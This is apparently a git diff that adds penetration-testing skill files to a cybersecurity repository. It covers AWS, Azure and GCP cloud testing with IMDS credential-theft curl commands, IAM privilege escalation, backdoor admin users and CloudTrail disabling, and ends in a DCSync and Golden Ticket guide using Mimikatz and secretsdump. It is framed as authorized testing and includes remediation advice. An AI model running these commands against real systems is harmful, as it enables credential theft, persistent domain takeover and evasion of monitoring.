REPORT +================================ +Incident: INC-2025-1705 +Cloud Provider: AWS (Account: 123456789012) +Date Detected: 2025-11-15T14:00:00Z +Detection Source: GuardDuty - UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration + +COMPROMISE SUMMARY +Initial Access: IAM access key exposed in public GitHub repo +Affected Identity: iam-user: deploy-bot (AKIA...) +Attacker IP: 203.0.113.42 (VPN exit node, Netherlands) +Duration: 4 hours (10:00 UTC - 14:00 UTC) + +ATTACKER ACTIVITY (from CloudTrail) +10:15 UTC - DescribeInstances (reconnaissance) +10:18 UTC - RunInstances x 12 (c5.4xlarge, all regions - crypto-mining) +10:22 UTC - CreateUser "backup-admin" (persistence) +10:23 UTC - CreateAccessKey for "backup-admin" +10:25 UTC - AttachUserPolicy - AdministratorAccess to "backup-admin" +10:30 UTC - PutBucketPolicy - s3://data-bucket made public (exfiltration) + +CONTAINMENT ACTIONS +[x] Original access key disabled +[x] User policy set to AWSDenyAll +[x] Backdoor IAM user "backup-admin" deleted +[x] 12 crypto-mining instances terminated (all regions) +[x] S3 bucket policy restored to private + +FINANCIAL IMPACT +Unauthorized EC2: $2,847 (4 hours x 12 x c5.4xlarge) +Data Transfer: $127 (S3 public access data egress) +Total: $2,974 + +POST-INCIDENT HARDENING +1. GitHub secret scanning enabled +2. Access key rotation policy implemented +3. SCP preventing CloudTrail disablement deployed +4. GuardDuty auto-remediation Lambda configured +``` diff --git a/skills/conducting-cloud-infrastructure-penetration-test/SKILL.md b/skills/conducting-cloud-infrastructure-penetration-test/SKILL.md new file mode 100644 index 00000000..7a91edc4 --- /dev/null +++ b/skills/conducting-cloud-infrastructure-penetration-test/SKILL.md @@ -0,0 +1,258 @@ +--- +name: conducting-cloud-infrastructure-penetration-test +description: Perform a cloud infrastructure penetration test across AWS, Azure, and GCP to identify IAM misconfigurations, exposed storage buckets, insecure serverless functions, and cloud-native attack paths using Pacu, ScoutSuite, and Prowler. +domain: cybersecurity +subdomain: penetration-testing +tags: [cloud-pentest, AWS, Azure, GCP, Pacu, ScoutSuite, Prowler, IAM, S3, cloud-security] +version: "1.0" +author: mahipal +license: MIT +--- + +# Conducting Cloud Infrastructure Penetration Test + +## Overview + +Cloud infrastructure penetration testing identifies security weaknesses in AWS, Azure, and GCP environments by targeting IAM policies, storage configurations, compute instances, serverless functions, network controls, and Kubernetes clusters. Cloud-specific attack vectors include over-privileged IAM roles, misconfigured storage buckets, exposed metadata services, insecure API endpoints, and lateral movement through cloud service chains. + +## Prerequisites + +- Written authorization and cloud provider notification (AWS penetration testing policy, Azure rules, GCP terms) +- Cloud credentials with read-only access (assumed breach model) or unauthenticated external testing +- Tools: Pacu (AWS), ScoutSuite, Prowler, AzureHound, GCPBucketBrute, CloudMapper +- Understanding of shared responsibility model for each provider + +## AWS Penetration Testing + +### Initial Enumeration + +```bash +# Verify caller identity +aws sts get-caller-identity + +# Enumerate IAM permissions +aws iam get-user +aws iam list-attached-user-policies --user-name testuser +aws iam list-user-policies --user-name testuser + +# Enumerate all IAM users and roles +aws iam list-users +aws iam list-roles +aws iam list-groups + +# Enumerate EC2 instances +aws ec2 describe-instances --query 'Reservations[*].Instances[*].[InstanceId,State.Name,PublicIpAddress,PrivateIpAddress]' --output table + +# Enumerate S3 buckets +aws s3 ls +aws s3 ls s3://target-bucket --recursive + +# Enumerate Lambda functions +aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role]' --output table + +# Enumerate RDS databases +aws rds describe-db-instances --query 'DBInstances[*].[DBInstanceIdentifier,Engine,PubliclyAccessible]' --output table + +# Enumerate secrets +aws secretsmanager list-secrets +aws ssm describe-parameters +``` + +### Pacu Exploitation Framework + +```bash +# Install and configure Pacu +pip install pacu +pacu + +# Import AWS keys +Pacu> set_keys +Pacu> import_keys testuser + +# Run enumeration modules +Pacu> run iam__enum_permissions +Pacu> run iam__enum_users_roles_policies_groups +Pacu> run ec2__enum +Pacu> run s3__enum +Pacu> run lambda__enum + +# Privilege escalation checks +Pacu> run iam__privesc_scan + +# Exploit S3 bucket misconfigurations +Pacu> run s3__bucket_finder + +# EC2 metadata SSRF exploitation +Pacu> run ec2__metadata_services + +# Lambda backdoor (authorized testing) +Pacu> run lambda__backdoor_new_roles +``` + +### S3 Bucket Testing + +```bash +# Test for public buckets +aws s3 ls s3://target-corp-backup --no-sign-request +aws s3 cp s3://target-corp-backup/test.txt /tmp/ --no-sign-request + +# Check bucket policy +aws s3api get-bucket-policy --bucket target-corp-backup +aws s3api get-bucket-acl --bucket target-corp-backup + +# Test for ACL misconfigurations +aws s3api put-object --bucket target-corp-backup --key pentest_proof.txt \ + --body /tmp/proof.txt +``` + +### EC2 Instance Metadata Exploitation + +```bash +# From a compromised EC2 instance: +# IMDSv1 (if not disabled) +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name + +# Extract temporary credentials +# Use them to enumerate further permissions +export AWS_ACCESS_KEY_ID= +export AWS_SECRET_ACCESS_KEY= +export AWS_SESSION_TOKEN= +aws sts get-caller-identity +``` + +## Azure Penetration Testing + +### Azure Enumeration + +```bash +# Login with test credentials +az login -u testuser@target.onmicrosoft.com -p 'Password123' + +# Enumerate subscriptions +az account list --output table + +# Enumerate resource groups +az group list --output table + +# Enumerate VMs +az vm list --output table + +# Enumerate storage accounts +az storage account list --output table + +# Enumerate App Services +az webapp list --output table + +# Enumerate Key Vaults +az keyvault list --output table + +# Enumerate Azure AD users +az ad user list --output table + +# AzureHound for attack paths (like BloodHound for Azure) +azurehound list -u testuser@target.onmicrosoft.com -p 'Password123' -o azurehound.json +``` + +### Azure-Specific Attacks + +```bash +# Enumerate Managed Identity from compromised VM +curl -H "Metadata: true" \ + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" + +# Storage account key extraction +az storage account keys list --resource-group RG-Production --account-name targetstorageacct + +# Key Vault secret extraction +az keyvault secret list --vault-name target-keyvault +az keyvault secret show --vault-name target-keyvault --name admin-password + +# Stormspotter — Azure attack graph +python stormspotter.py --cli +``` + +## GCP Penetration Testing + +### GCP Enumeration + +```bash +# Authenticate +gcloud auth login + +# List projects +gcloud projects list + +# Enumerate compute instances +gcloud compute instances list + +# Enumerate storage buckets +gsutil ls +gsutil ls gs://target-bucket/ + +# Enumerate IAM policies +gcloud projects get-iam-policy PROJECT_ID + +# Enumerate Cloud Functions +gcloud functions list + +# Enumerate service accounts +gcloud iam service-accounts list + +# Check for public buckets +gsutil ls -L gs://target-bucket/ | grep "Access control" +``` + +## Cross-Cloud Security Assessment + +### ScoutSuite Multi-Cloud Audit + +```bash +# AWS audit +scout suite aws --profile testuser + +# Azure audit +scout suite azure --cli + +# GCP audit +scout suite gcp --user-account + +# Review results in HTML dashboard +# Focus on: IAM, storage, networking, logging findings +``` + +### Prowler (AWS CIS Benchmark) + +```bash +# Run full CIS benchmark scan +prowler aws --profile testuser + +# Run specific checks +prowler aws -c check11 check12 check13 # IAM checks +prowler aws -g s3 # S3 group +prowler aws -g forensics-ready # Logging checks + +# Export results +prowler aws -M json-ocsf -o ./prowler_results/ +``` + +## Findings Matrix + +| Finding | Cloud | Severity | Remediation | +|---------|-------|----------|-------------| +| Public S3 bucket with PII | AWS | Critical | Enable bucket policy deny public access | +| Over-privileged IAM role on Lambda | AWS | High | Implement least-privilege IAM policies | +| IMDSv1 enabled on EC2 | AWS | High | Enforce IMDSv2 across all instances | +| Storage account with public blob access | Azure | Critical | Disable anonymous blob access | +| Key Vault accessible by all users | Azure | High | Restrict Key Vault access policies | +| GCS bucket with allUsers read | GCP | Critical | Remove allUsers permission | +| Service account key exposed in repo | GCP | Critical | Rotate key, enable Workload Identity | + +## References + +- Pacu: https://github.com/RhinoSecurityLabs/pacu +- ScoutSuite: https://github.com/nccgroup/ScoutSuite +- Prowler: https://github.com/prowler-cloud/prowler +- AzureHound: https://github.com/BloodHoundAD/AzureHound +- AWS Penetration Testing Policy: https://aws.amazon.com/security/penetration-testing/ +- HackTricks Cloud: https://cloud.hacktricks.wiki/ diff --git a/skills/conducting-cloud-infrastructure-penetration-test/assets/template.md b/skills/conducting-cloud-infrastructure-penetration-test/assets/template.md new file mode 100644 index 00000000..2987b9d2 --- /dev/null +++ b/skills/conducting-cloud-infrastructure-penetration-test/assets/template.md @@ -0,0 +1,25 @@ +# Cloud Infrastructure Penetration Test — Report Template + +## Document Control +| Field | Value | +|-------|-------| +| Cloud Provider(s) | AWS / Azure / GCP | +| Account/Subscription IDs | [IDs] | +| Starting Access | [Read-only IAM user / Unauthenticated] | +| Period | [Start] — [End] | + +## Executive Summary +[Cloud security posture overview, key misconfigurations, privilege escalation paths] + +## Findings +### Finding [N]: [Title] +| Attribute | Detail | +|-----------|--------| +| Provider | [AWS/Azure/GCP] | +| Resource | [ARN/Resource ID] | +| Severity | [Level] | +| Issue | [Description] | +| Remediation | [Fix] | + +## Recommendations +1. [Priority recommendations by cloud provider] diff --git a/skills/conducting-cloud-infrastructure-penetration-test/references/standards.md b/skills/conducting-cloud-infrastructure-penetration-test/references/standards.md new file mode 100644 index 00000000..68636f1d --- /dev/null +++ b/skills/conducting-cloud-infrastructure-penetration-test/references/standards.md @@ -0,0 +1,12 @@ +# Standards — Cloud Infrastructure Penetration Testing + +## Cloud Provider Policies +- AWS: https://aws.amazon.com/security/penetration-testing/ +- Azure: https://learn.microsoft.com/en-us/azure/security/fundamentals/pen-testing +- GCP: https://cloud.google.com/terms/aup + +## Frameworks +- CIS Benchmarks for AWS/Azure/GCP +- NIST SP 800-144: Guidelines on Security and Privacy in Public Cloud Computing +- CSA Cloud Controls Matrix (CCM) +- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/ diff --git a/skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md b/skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md new file mode 100644 index 00000000..d280863e --- /dev/null +++ b/skills/conducting-cloud-infrastructure-penetration-test/references/workflows.md @@ -0,0 +1,13 @@ +# Workflows — Cloud Infrastructure Penetration Testing + +## Attack Flow +``` +Cloud Credentials / Unauthenticated + │ + ├── IAM Enumeration (permissions, roles, policies) + ├── Resource Discovery (compute, storage, serverless) + ├── Privilege Escalation (IAM chaining, role assumption) + ├── Data Access (storage buckets, databases, secrets) + ├── Lateral Movement (cross-account, cross-service) + └── Impact Demonstration (data exfiltration proof) +``` diff --git a/skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py b/skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py new file mode 100644 index 00000000..d1d45937 --- /dev/null +++ b/skills/conducting-cloud-infrastructure-penetration-test/scripts/process.py @@ -0,0 +1,134 @@ +#!/usr/bin/env python3 +""" +Cloud Infrastructure Penetration Test — Automation Process + +Automates AWS/Azure/GCP enumeration and security assessment. + +Usage: + python process.py --provider aws --profile testuser --output ./results +""" + +import subprocess +import json +import argparse +import datetime +from pathlib import Path + + +def run_command(cmd: list[str], timeout: int = 300) -> tuple[str, str, int]: + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + return "", str(e), -1 + + +def aws_enumerate(profile: str, output_dir: Path) -> dict: + """Enumerate AWS resources.""" + print("[*] Enumerating AWS resources...") + results = {} + + checks = { + "identity": ["aws", "sts", "get-caller-identity", "--profile", profile], + "s3_buckets": ["aws", "s3api", "list-buckets", "--profile", profile], + "ec2_instances": ["aws", "ec2", "describe-instances", "--profile", profile], + "lambda_functions": ["aws", "lambda", "list-functions", "--profile", profile], + "iam_users": ["aws", "iam", "list-users", "--profile", profile], + "rds_instances": ["aws", "rds", "describe-db-instances", "--profile", profile], + } + + for name, cmd in checks.items(): + stdout, stderr, rc = run_command(cmd) + if rc == 0: + try: + results[name] = json.loads(stdout) + except json.JSONDecodeError: + results[name] = {"raw": stdout} + else: + results[name] = {"error": stderr[:200]} + + with open(output_dir / "aws_enum.json", "w") as f: + json.dump(results, f, indent=2, default=str) + + return results + + +def check_public_s3(buckets: list[str], profile: str) -> list[dict]: + """Check S3 buckets for public access.""" + findings = [] + for bucket in buckets: + stdout, stderr, rc = run_command( + ["aws", "s3api", "get-bucket-acl", "--bucket", bucket, "--profile", profile] + ) + if rc == 0: + acl = json.loads(stdout) + for grant in acl.get("Grants", []): + grantee = grant.get("Grantee", {}) + if grantee.get("URI", "").endswith("AllUsers") or \ + grantee.get("URI", "").endswith("AuthenticatedUsers"): + findings.append({ + "bucket": bucket, + "grantee": grantee.get("URI"), + "permission": grant.get("Permission"), + "severity": "Critical" + }) + return findings + + +def generate_report(provider: str, enum_results: dict, findings: list[dict], + output_dir: Path) -> str: + """Generate cloud pentest report.""" + report_file = output_dir / f"{provider}_pentest_report.md" + timestamp = datetime.datetime.now(datetime.timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + + with open(report_file, "w") as f: + f.write(f"# {provider.upper()} Cloud Penetration Test Report\n\n") + f.write(f"**Generated:** {timestamp}\n\n---\n\n") + + f.write("## Resource Inventory\n\n") + for resource, data in enum_results.items(): + f.write(f"### {resource}\n") + if isinstance(data, dict) and "error" in data: + f.write(f"Access denied: {data['error'][:100]}\n\n") + else: + f.write(f"```json\n{json.dumps(data, indent=2, default=str)[:500]}\n```\n\n") + + if findings: + f.write("## Security Findings\n\n") + for finding in findings: + f.write(f"### [{finding['severity']}] {finding.get('bucket', finding.get('resource', 'Unknown'))}\n") + f.write(f"- Issue: {finding.get('grantee', finding.get('issue', ''))}\n") + f.write(f"- Permission: {finding.get('permission', '')}\n\n") + + f.write("## Recommendations\n\n") + f.write("1. Enable S3 Block Public Access at account level\n") + f.write("2. Implement least-privilege IAM policies\n") + f.write("3. Enforce IMDSv2 on all EC2 instances\n") + f.write("4. Enable CloudTrail logging in all regions\n") + f.write("5. Use AWS Organizations SCPs for guardrails\n") + + print(f"[+] Report: {report_file}") + return str(report_file) + + +def main(): + parser = argparse.ArgumentParser(description="Cloud Pentest Automation") + parser.add_argument("--provider", choices=["aws", "azure", "gcp"], default="aws") + parser.add_argument("--profile", default="default") + parser.add_argument("--output", default="./results") + args = parser.parse_args() + + output_dir = Path(args.output) + output_dir.mkdir(parents=True, exist_ok=True) + + if args.provider == "aws": + results = aws_enumerate(args.profile, output_dir) + buckets = [b["Name"] for b in results.get("s3_buckets", {}).get("Buckets", [])] + findings = check_public_s3(buckets[:20], args.profile) + generate_report("aws", results, findings, output_dir) + + print(f"\n[+] Cloud pentest automation complete for {args.provider}") + + +if __name__ == "__main__": + main() diff --git a/skills/conducting-cloud-penetration-testing/SKILL.md b/skills/conducting-cloud-penetration-testing/SKILL.md new file mode 100644 index 00000000..2040c3d2 --- /dev/null +++ b/skills/conducting-cloud-penetration-testing/SKILL.md @@ -0,0 +1,271 @@ +--- +name: conducting-cloud-penetration-testing +description: > + This skill outlines methodologies for performing authorized penetration testing against + AWS, Azure, and GCP cloud environments. It covers understanding the shared responsibility + model for testing scope, leveraging cloud-specific attack tools like Pacu and ScoutSuite, + exploiting IAM misconfigurations, testing for SSRF to cloud metadata services, and + reporting findings aligned to MITRE ATT&CK Cloud matrix. +domain: cybersecurity +subdomain: cloud-security +tags: [cloud-pentesting, offensive-security, aws-exploitation, shared-responsibility, mitre-attack-cloud] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Conducting Cloud Penetration Testing + +## When to Use + +- When performing authorized security assessments of cloud environments before production deployment +- When validating cloud security controls after a major architectural change or migration +- When compliance requirements mandate annual penetration testing of cloud infrastructure +- When testing incident response readiness by simulating realistic cloud-based attack scenarios +- When assessing lateral movement risk across multi-account or multi-cloud environments + +**Do not use** for unauthorized testing against cloud accounts, for testing cloud provider infrastructure itself (covered by the shared responsibility model), or for DDoS simulation without explicit cloud provider approval. + +## Prerequisites + +- Written authorization from the cloud account owner and scope definition document +- AWS, Azure, or GCP penetration testing policy acknowledgment (AWS no longer requires pre-approval for most services) +- Isolated testing account or explicitly scoped production account with breakglass procedures +- Cloud-specific offensive tooling installed: Pacu (AWS), ScoutSuite, Prowler, CloudFox +- MITRE ATT&CK Cloud matrix for finding classification + +## Workflow + +### Step 1: Define Scope and Rules of Engagement + +Establish testing boundaries based on the shared responsibility model. The customer is responsible for testing configurations, IAM policies, application security, and data protection. The cloud provider manages physical infrastructure, hypervisor, and managed service internals. + +``` +Cloud Penetration Test Scope Document +======================================= +Target: AWS Account 123456789012 (Production) +Testing Window: 2025-02-24 08:00 UTC to 2025-02-28 18:00 UTC +Authorization: Signed by CISO, dated 2025-02-20 + +IN SCOPE: + - IAM users, roles, policies, and cross-account trust + - EC2 instances, security groups, and network ACLs + - S3 bucket policies and data access controls + - Lambda functions, API Gateway endpoints + - RDS/DynamoDB access controls and encryption + - EKS cluster RBAC and network policies + - CloudTrail, Config, and monitoring gaps + +OUT OF SCOPE: + - AWS managed service internals (RDS engine, Lambda runtime) + - DDoS attacks or volumetric testing + - Physical infrastructure or hypervisor attacks + - Social engineering of AWS support + +EMERGENCY CONTACT: security-ops@company.com, +1-555-0199 +``` + +### Step 2: Reconnaissance and Cloud Enumeration + +Use cloud-specific tools to enumerate the attack surface: exposed services, public IPs, S3 buckets, IAM configurations, and metadata endpoints. + +```bash +# ScoutSuite multi-cloud assessment +scout suite aws --profile target-account --report-dir ./scout-report + +# Prowler comprehensive AWS security assessment +prowler aws -M json-ocsf -o ./prowler-output --profile target-account + +# CloudFox for identifying privilege escalation paths +cloudfox aws --profile target-account all-checks + +# Enumerate public S3 buckets +for bucket in $(aws s3api list-buckets --query 'Buckets[*].Name' --output text); do + aws s3api get-bucket-policy-status --bucket $bucket 2>/dev/null | grep -q "true" && echo "PUBLIC: $bucket" +done + +# Check for IMDS v1 (vulnerable to SSRF) +aws ec2 describe-instances \ + --query 'Reservations[*].Instances[*].[InstanceId,MetadataOptions.HttpTokens]' \ + --output table +``` + +### Step 3: IAM Privilege Escalation Testing + +Use Pacu to identify and exploit IAM misconfigurations that allow privilege escalation from a low-privilege starting point to administrative access. + +```bash +# Initialize Pacu session +pacu + +# Set stolen or test credentials +set_keys --key-alias test-creds + +# Run IAM enumeration modules +run iam__enum_users_roles_policies_groups +run iam__enum_permissions + +# Check for privilege escalation paths +run iam__privesc_scan + +# Common escalation paths to test: +# 1. iam:CreatePolicyVersion - Create new policy version with admin access +# 2. iam:AttachUserPolicy - Attach AdministratorAccess to self +# 3. iam:PassRole + lambda:CreateFunction - Create Lambda with admin role +# 4. iam:PassRole + ec2:RunInstances - Launch EC2 with admin instance profile +# 5. sts:AssumeRole - Cross-account role assumption without MFA condition +``` + +### Step 4: SSRF to Cloud Metadata Service Exploitation + +Test web applications for Server-Side Request Forgery vulnerabilities that can reach the instance metadata service (IMDS) at 169.254.169.254 to steal IAM role credentials. + +```bash +# Test for IMDS v1 access (no token required) +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# Test for IMDS v2 (requires token - more secure) +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \ + -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") +curl -H "X-aws-ec2-metadata-token: $TOKEN" \ + http://169.254.169.254/latest/meta-data/iam/security-credentials/ + +# Azure IMDS equivalent +curl -H "Metadata:true" \ + "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" + +# GCP metadata service +curl -H "Metadata-Flavor: Google" \ + "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" +``` + +### Step 5: Lateral Movement and Data Access + +Test cross-account role assumptions, VPC peering connections, and shared resource access to map lateral movement opportunities. + +```bash +# Enumerate cross-account role trusts +aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS!=`null`]].[RoleName,Arn]' --output table + +# Test cross-account assumption +aws sts assume-role \ + --role-arn arn:aws:iam::987654321098:role/CrossAccountRole \ + --role-session-name pentest-session + +# Enumerate accessible S3 data with stolen credentials +aws s3 ls --recursive s3://target-bucket/ --summarize + +# Check Lambda environment variables for secrets +aws lambda list-functions --query 'Functions[*].[FunctionName]' --output text | while read fn; do + aws lambda get-function-configuration --function-name "$fn" \ + --query 'Environment.Variables' --output json 2>/dev/null +done +``` + +### Step 6: Persistence and Detection Evasion Testing + +Test whether the organization's monitoring detects persistence mechanisms such as new IAM users, access keys, Lambda backdoors, or CloudTrail disabling. + +```bash +# Test: Create backdoor IAM user (authorized test only) +aws iam create-user --user-name pentest-backdoor +aws iam create-access-key --user-name pentest-backdoor +aws iam attach-user-policy --user-name pentest-backdoor \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess + +# Test: Disable CloudTrail (verify GuardDuty alerts) +aws cloudtrail stop-logging --name management-trail + +# Test: Create Lambda for persistence (authorized test only) +# Verify: Did GuardDuty generate Stealth:IAMUser/CloudTrailLoggingDisabled? +# Verify: Did Security Hub alert on the new admin user? + +# CLEANUP: Remove all persistence artifacts after testing +aws iam delete-access-key --user-name pentest-backdoor --access-key-id AKIAEXAMPLE +aws iam detach-user-policy --user-name pentest-backdoor \ + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess +aws iam delete-user --user-name pentest-backdoor +aws cloudtrail start-logging --name management-trail +``` + +### Step 7: Report Findings with MITRE ATT&CK Mapping + +Document all findings mapped to the MITRE ATT&CK Cloud matrix with severity, proof of concept, business impact, and remediation guidance. + +## Key Concepts + +| Term | Definition | +|------|------------| +| Shared Responsibility Model | Cloud security framework where the provider secures infrastructure and the customer secures data, configurations, and access controls | +| IMDS | Instance Metadata Service at 169.254.169.254 that provides instance identity, credentials, and configuration data; IMDSv2 requires token-based access | +| Privilege Escalation | Exploiting IAM misconfigurations to elevate from limited permissions to administrative access within a cloud account | +| Lateral Movement | Using compromised credentials or trust relationships to access resources in other accounts, VPCs, or cloud providers | +| Pacu | Open-source AWS exploitation framework for penetration testing, providing modules for enumeration, escalation, and persistence | +| ScoutSuite | Multi-cloud security auditing tool that collects configuration data and generates HTML reports with risk findings | +| MITRE ATT&CK Cloud | Adversary tactics and techniques matrix specific to cloud environments including Initial Access, Execution, Persistence, and Exfiltration | + +## Tools & Systems + +- **Pacu**: AWS-focused exploitation framework with modules for IAM enumeration, privilege escalation, and persistence testing +- **ScoutSuite**: Multi-cloud (AWS, Azure, GCP) security auditing tool generating comprehensive risk reports from API data collection +- **CloudFox**: AWS and Azure enumeration tool for identifying attack paths, privilege escalation vectors, and data access opportunities +- **Prowler**: Open-source cloud security assessment tool with 300+ checks across AWS, Azure, and GCP +- **Cartography**: Neo4j-based tool that maps relationships between cloud resources for visual attack path analysis + +## Common Scenarios + +### Scenario: SSRF in Web Application Leads to Full Account Compromise + +**Context**: A penetration tester discovers an SSRF vulnerability in a web application hosted on an EC2 instance running IMDSv1. The instance has an IAM role with broad S3 and Lambda permissions. + +**Approach**: +1. Exploit the SSRF to reach http://169.254.169.254/latest/meta-data/iam/security-credentials/ +2. Extract temporary IAM credentials (AccessKeyId, SecretAccessKey, SessionToken) +3. Use the credentials to enumerate accessible S3 buckets and download sensitive data +4. Check if the role has iam:PassRole + lambda:CreateFunction for privilege escalation to admin +5. Document the full attack chain from SSRF to account-level compromise +6. Recommend: enforce IMDSv2, reduce IAM role scope, add VPC endpoint policies blocking IMDS from application tier + +**Pitfalls**: Not testing IMDSv2 enforcement separately from IMDSv1 gives incomplete results. Failing to clean up test artifacts (backdoor users, Lambda functions) leaves real vulnerabilities after the engagement. + +## Output Format + +``` +Cloud Penetration Test Report +=============================== +Target: AWS Account 123456789012 (Production) +Testing Period: 2025-02-24 to 2025-02-28 +Methodology: MITRE ATT&CK Cloud + OWASP Cloud Testing Guide +Tester: Security Team - Authorized Engagement + +EXECUTIVE SUMMARY: + Starting with read-only developer credentials, the assessment achieved + full administrative access to the production account within 3 hours through + an IAM privilege escalation chain. 47 findings identified across 7 ATT&CK tactics. + +CRITICAL FINDINGS: +[PT-001] IAM Privilege Escalation via iam:CreatePolicyVersion + ATT&CK: T1098.001 (Account Manipulation: Additional Cloud Credentials) + Severity: CRITICAL + Starting Point: Developer role with iam:CreatePolicyVersion permission + Impact: Full administrative access to all account resources + Evidence: Created policy version granting iam:* and s3:* to test role + Remediation: Remove iam:CreatePolicyVersion from developer roles, add permission boundary + +[PT-002] SSRF to IMDS Credential Theft + ATT&CK: T1552.005 (Unsecured Credentials: Cloud Instance Metadata API) + Severity: CRITICAL + Starting Point: Web application URL parameter vulnerable to SSRF + Impact: Extracted IAM role credentials with S3 and Lambda access + Remediation: Enforce IMDSv2, apply WAF rules for SSRF, restrict IAM role scope + +FINDING SUMMARY BY MITRE ATT&CK TACTIC: + Initial Access: 4 findings + Execution: 3 findings + Persistence: 6 findings + Privilege Escalation: 8 findings (3 Critical) + Defense Evasion: 5 findings + Credential Access: 7 findings + Discovery: 14 findings + Total: 47 findings +``` diff --git a/skills/conducting-domain-persistence-with-dcsync/SKILL.md b/skills/conducting-domain-persistence-with-dcsync/SKILL.md new file mode 100644 index 00000000..208cbc03 --- /dev/null +++ b/skills/conducting-domain-persistence-with-dcsync/SKILL.md @@ -0,0 +1,170 @@ +--- +name: conducting-domain-persistence-with-dcsync +description: Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation. +domain: cybersecurity +subdomain: red-teaming +tags: [red-team, active-directory, dcsync, persistence, credential-dumping, golden-ticket, mimikatz] +version: "1.0" +author: mahipal +license: MIT +--- +# Conducting Domain Persistence with DCSync + +## Overview + +DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6. + +## Objectives + +- Identify accounts with DCSync (replication) rights in Active Directory +- Perform DCSync using Mimikatz or Impacket's secretsdump.py +- Extract the KRBTGT account hash for Golden Ticket creation +- Dump all domain user password hashes for credential analysis +- Forge Golden Tickets for persistent domain access +- Grant DCSync rights to a controlled account for alternative persistence +- Document the attack chain and persistence mechanisms + +## MITRE ATT&CK Mapping + +- **T1003.006** - OS Credential Dumping: DCSync +- **T1558.001** - Steal or Forge Kerberos Tickets: Golden Ticket +- **T1222.001** - File and Directory Permissions Modification: Windows +- **T1098** - Account Manipulation +- **T1078.002** - Valid Accounts: Domain Accounts + +## Implementation Steps + +### Phase 1: Identify Accounts with DCSync Rights +1. Enumerate principals with replication rights: + ```powershell + # Using PowerView + Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | + Where-Object { ($_.ObjectAceType -match 'Replicating') -and + ($_.ActiveDirectoryRights -match 'ExtendedRight') } | + Select-Object SecurityIdentifier, ObjectAceType + + # Using BloodHound Cypher query + MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain) + RETURN u.name, d.name + ``` +2. Using Impacket's FindDelegation or custom LDAP query: + ```bash + # Check with Impacket + findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1 + ``` +3. Default accounts with DCSync rights: + - Domain Admins + - Enterprise Admins + - Domain Controllers group + - SYSTEM on Domain Controllers + +### Phase 2: DCSync Credential Extraction +1. Using Mimikatz (Windows): + ```powershell + # Dump specific account (KRBTGT for Golden Ticket) + mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt" + + # Dump Domain Admin + mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator" + + # Dump all domain accounts + mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv" + ``` +2. Using Impacket secretsdump.py (Linux): + ```bash + # Dump all credentials + secretsdump.py domain.local/admin:'Password123'@10.10.10.1 + + # Dump specific user + secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1 + + # Dump only NTLM hashes (no Kerberos keys) + secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1 + + # Using Kerberos authentication + export KRB5CCNAME=admin.ccache + secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local + ``` + +### Phase 3: Golden Ticket Creation +1. Using Mimikatz with extracted KRBTGT hash: + ```powershell + # Create Golden Ticket + mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \ + /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \ + /krbtgt: /ptt" + + # Create with specific group memberships + mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \ + /sid:S-1-5-21-XXXXXXXXXX \ + /krbtgt: \ + /groups:512,513,518,519,520 /ptt" + ``` +2. Using Impacket ticketer.py (Linux): + ```bash + # Create Golden Ticket + ticketer.py -nthash -domain-sid S-1-5-21-XXXXXXXXXX \ + -domain domain.local administrator + + # Use the ticket + export KRB5CCNAME=administrator.ccache + psexec.py -k -no-pass domain.local/administrator@DC01.domain.local + ``` + +### Phase 4: Persistence via DCSync Rights +1. Grant DCSync rights to a controlled account for persistence: + ```powershell + # Using PowerView - Add DS-Replication-Get-Changes-All rights + Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \ + -PrincipalIdentity backdoor_user -Rights DCSync + + # Verify rights were added + Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs | + Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" } + ``` 